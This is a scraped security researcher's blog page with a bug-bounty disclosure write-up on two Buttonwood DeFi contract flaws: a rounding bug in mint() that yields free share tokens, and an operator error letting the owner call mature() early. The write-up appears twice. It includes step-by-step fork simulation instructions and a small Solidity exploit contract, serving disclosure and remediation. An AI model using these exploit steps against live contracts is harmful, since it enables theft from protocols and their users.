
Ocean Protocol | Unprotected owner Withdrawl function leads to Sweeping of Contract's datatoken Bala…
Hello readers! This article showcases the medium-severity bug on the Ocean Protocol Dispenser contract, which allowed any user to call the ownerWithdraw() function and send the funds to the payment collector. By sending the funds to the payment collector address, the owner cannot make a successful dispense of data tokens to his destination address. Vulnerable Code: function ownerWithdraw(address datatoken) external nonReentrant { require( datatoken != address(0), 'Invalid token contract addre...

Incorrect Function visibility leads to the Stealing of Betverse ICO Tokens.
A critical vulnerability was discovered in one of the Testnet projects on the Immunefi Platform, the Betverse ICO Token contract’s transferTokenToLockedAddresses() function. The vulnerability was caused by mistakenly marking this function as public when it should have been an internal function. This mistake enabled anyone to transfer a specified amount of BToken (amount.div(term)) to the attacker's time lock address. Repeating this attack could lead to the sweeping of the BToken balance ...

RingDAO | Sending an arbitrary message without authorization of Dapps. Part-II
Protocol Overview:RingDAO is a decentralized community focused on the latest innovations in the cross-chain field within the web3 world. Our mission is to empower existing and future applications to interact seamlessly with multiple blockchain networks. Darwinia chain, is one of the project from RingDAO, It is a one of the earliest parachains in the Polkadot ecosystem, offering out-of-the-box cross-chain capabilities to exchange messages with other parachains and external Ethereum-compatible ...
Security Researcher 🧑🔬 Vulnerability and security research disclosure reports Web3 security and cybersec kinds of stuff here 🧑💻🔬



Ocean Protocol | Unprotected owner Withdrawl function leads to Sweeping of Contract's datatoken Bala…
Hello readers! This article showcases the medium-severity bug on the Ocean Protocol Dispenser contract, which allowed any user to call the ownerWithdraw() function and send the funds to the payment collector. By sending the funds to the payment collector address, the owner cannot make a successful dispense of data tokens to his destination address. Vulnerable Code: function ownerWithdraw(address datatoken) external nonReentrant { require( datatoken != address(0), 'Invalid token contract addre...

Incorrect Function visibility leads to the Stealing of Betverse ICO Tokens.
A critical vulnerability was discovered in one of the Testnet projects on the Immunefi Platform, the Betverse ICO Token contract’s transferTokenToLockedAddresses() function. The vulnerability was caused by mistakenly marking this function as public when it should have been an internal function. This mistake enabled anyone to transfer a specified amount of BToken (amount.div(term)) to the attacker's time lock address. Repeating this attack could lead to the sweeping of the BToken balance ...

RingDAO | Sending an arbitrary message without authorization of Dapps. Part-II
Protocol Overview:RingDAO is a decentralized community focused on the latest innovations in the cross-chain field within the web3 world. Our mission is to empower existing and future applications to interact seamlessly with multiple blockchain networks. Darwinia chain, is one of the project from RingDAO, It is a one of the earliest parachains in the Polkadot ecosystem, offering out-of-the-box cross-chain capabilities to exchange messages with other parachains and external Ethereum-compatible ...
Share Dialog
Share Dialog
Security Researcher 🧑🔬 Vulnerability and security research disclosure reports Web3 security and cybersec kinds of stuff here 🧑💻🔬

Subscribe to Shanmuga Bharathi

Subscribe to Shanmuga Bharathi
<100 subscribers
<100 subscribers
Buttonwood is a collection of DeFi primitives for building powerful decentralized financial instruments. One of Buttonwood's insights is that everything in finance is some form of a tranche. The ButtonTranche contracts serve as a foundation for marketplaces such as liquidation-free debt, convertible bonds, and options, and assets like fiat-free stablecoins.
This write-up covers some bug bounty reports hosted by Buttonwood on Immunefi.
https://github.com/buttonwood-protocol/button-wrappers/blob/main/contracts/UnbuttonToken.sol
The mint() and mintFor() function on the ButtonToken contract allow any user to mint a free amount of bits. Relatively, the mint function takes a number of bits to be minted for the user by calculating through _amountTobits. When certain bits are calculated, the amount of the underlying token(Uamount) to be deposited is calculated. Which results in 0 amount of underlying tokens being deposited by the user. The button token generally accepts Uamount in the _deposit() function.
In this bug report, when a user gives a low amount for minting, which can be measured in 5 decimals of uint Eg: 55555. The contract mints a free X amount of bits for the user.
The root cause of the issue is actually due to the floor division rounding when converting the share amount into the underlying amount. This means that the absolute maximum that can be extracted is the equivalent of 1 underlying "wei" worth of share tokens for free.
This vulnerability can be exploited through the repeated call of the mint() function through multicall contracts to save some gas.
Proof of Concept:
As said in the bug report, the mint function can be exploited through the dust amount input for tokens.
This POC can be demonstrated through the Tenderly mainnet fork.
Add ButtonToken(bWbtc) contract to the Tenderly Dashboard.
Fork the Ethereum mainnet using the Tenderly Fork tab.
Create a new simulation and choose the button token that has been added before.
Select the mint() function and give input for the number of tokens in 5 decimals, eg: 55555
The default caller address will be address(0) changed to any random address.
Now click simulate, The portion of bits will be transferred to that random caller without receiving any amount of underlying tokens from the caller.
From the attacker's side, to make a profit from the mint() function, the attacker can use multicall code to repeatedly call the mint() function with low gas fees.
While this is certainly a valid concern, the exploitable value is extremely limited, even with an automated loop calling the function iteratively. On a chain where gas has any value at all, we don't see this being a profitable exploit under any reasonable circumstances.
We truly appreciate the report and are implementing a fix for the numerical instability in future versions. Due to the extremely limited scope of the exploit, we propose to change the severity to `Medium` and offer a $10,000 payout.
https://github.com/buttonwood-protocol/tranche/blob/main/contracts/BondController.sol
The bond should mature on a pre-defined maturity date. But the mature() function can be called before the maturity date due to the wrong operator used in the require statement.
function mature() external {
require(owner() == _msgSender() || maturityDate < block.timestamp, "BondController: Invalid call to mature");
}
The || (OR) operator is either or, operator means either one statement can be true to pass the require statement. So, in that case, if the owner calls mature(), the statement is passed and able to mature the bond before the maturity date.
This will cause certain functionalities to be unable to call and malicious owners can transfer the collateral token before the maturity date.
Proof of Concept:
The attacker creates a bond.
Then the bond contract is rug pulled by the malicious owner(attacker) by calling the mature function before the maturity date.
pragma solidity 0.8.0;
interface IBondFactory {
function createBondWithDepositLimit(
address _collateralToken,
uint256[] memory trancheRatios,
uint256 maturityDate,
uint256 depositLimit
) external;
}
interface IBondController {
function mature() external;
}
contract exploit {
IBondFactory bf = IBondFactory(0x000001);
IBondController bc = IBondController(0x000002);
//Creating Malicious bond
function createbond(address _collateralToken, uint256[] calldata trancheRatios, uint256 maturityDate, uint256 depositLimit) external {
bf.createBondWithDepositLimit(_collateralToken, trancheRatios, maturityDate, depositLimit);
}
//Malicious owner can call mature at any time/ before the maturity date
function attack() external {
bc.mature();
}
}
It is recommended to use the && operator to make it callable by the owner on the maturity date.
require(owner() == _msgSender() && maturityDate < block.timestamp, "BondController: Invalid call to mature");
Buttonwood is a collection of DeFi primitives for building powerful decentralized financial instruments. One of Buttonwood's insights is that everything in finance is some form of a tranche. The ButtonTranche contracts serve as a foundation for marketplaces such as liquidation-free debt, convertible bonds, and options, and assets like fiat-free stablecoins.
This write-up covers some bug bounty reports hosted by Buttonwood on Immunefi.
https://github.com/buttonwood-protocol/button-wrappers/blob/main/contracts/UnbuttonToken.sol
The mint() and mintFor() function on the ButtonToken contract allow any user to mint a free amount of bits. Relatively, the mint function takes a number of bits to be minted for the user by calculating through _amountTobits. When certain bits are calculated, the amount of the underlying token(Uamount) to be deposited is calculated. Which results in 0 amount of underlying tokens being deposited by the user. The button token generally accepts Uamount in the _deposit() function.
In this bug report, when a user gives a low amount for minting, which can be measured in 5 decimals of uint Eg: 55555. The contract mints a free X amount of bits for the user.
The root cause of the issue is actually due to the floor division rounding when converting the share amount into the underlying amount. This means that the absolute maximum that can be extracted is the equivalent of 1 underlying "wei" worth of share tokens for free.
This vulnerability can be exploited through the repeated call of the mint() function through multicall contracts to save some gas.
Proof of Concept:
As said in the bug report, the mint function can be exploited through the dust amount input for tokens.
This POC can be demonstrated through the Tenderly mainnet fork.
Add ButtonToken(bWbtc) contract to the Tenderly Dashboard.
Fork the Ethereum mainnet using the Tenderly Fork tab.
Create a new simulation and choose the button token that has been added before.
Select the mint() function and give input for the number of tokens in 5 decimals, eg: 55555
The default caller address will be address(0) changed to any random address.
Now click simulate, The portion of bits will be transferred to that random caller without receiving any amount of underlying tokens from the caller.
From the attacker's side, to make a profit from the mint() function, the attacker can use multicall code to repeatedly call the mint() function with low gas fees.
While this is certainly a valid concern, the exploitable value is extremely limited, even with an automated loop calling the function iteratively. On a chain where gas has any value at all, we don't see this being a profitable exploit under any reasonable circumstances.
We truly appreciate the report and are implementing a fix for the numerical instability in future versions. Due to the extremely limited scope of the exploit, we propose to change the severity to `Medium` and offer a $10,000 payout.
https://github.com/buttonwood-protocol/tranche/blob/main/contracts/BondController.sol
The bond should mature on a pre-defined maturity date. But the mature() function can be called before the maturity date due to the wrong operator used in the require statement.
function mature() external {
require(owner() == _msgSender() || maturityDate < block.timestamp, "BondController: Invalid call to mature");
}
The || (OR) operator is either or, operator means either one statement can be true to pass the require statement. So, in that case, if the owner calls mature(), the statement is passed and able to mature the bond before the maturity date.
This will cause certain functionalities to be unable to call and malicious owners can transfer the collateral token before the maturity date.
Proof of Concept:
The attacker creates a bond.
Then the bond contract is rug pulled by the malicious owner(attacker) by calling the mature function before the maturity date.
pragma solidity 0.8.0;
interface IBondFactory {
function createBondWithDepositLimit(
address _collateralToken,
uint256[] memory trancheRatios,
uint256 maturityDate,
uint256 depositLimit
) external;
}
interface IBondController {
function mature() external;
}
contract exploit {
IBondFactory bf = IBondFactory(0x000001);
IBondController bc = IBondController(0x000002);
//Creating Malicious bond
function createbond(address _collateralToken, uint256[] calldata trancheRatios, uint256 maturityDate, uint256 depositLimit) external {
bf.createBondWithDepositLimit(_collateralToken, trancheRatios, maturityDate, depositLimit);
}
//Malicious owner can call mature at any time/ before the maturity date
function attack() external {
bc.mature();
}
}
It is recommended to use the && operator to make it callable by the owner on the maturity date.
require(owner() == _msgSender() && maturityDate < block.timestamp, "BondController: Invalid call to mature");
No activity yet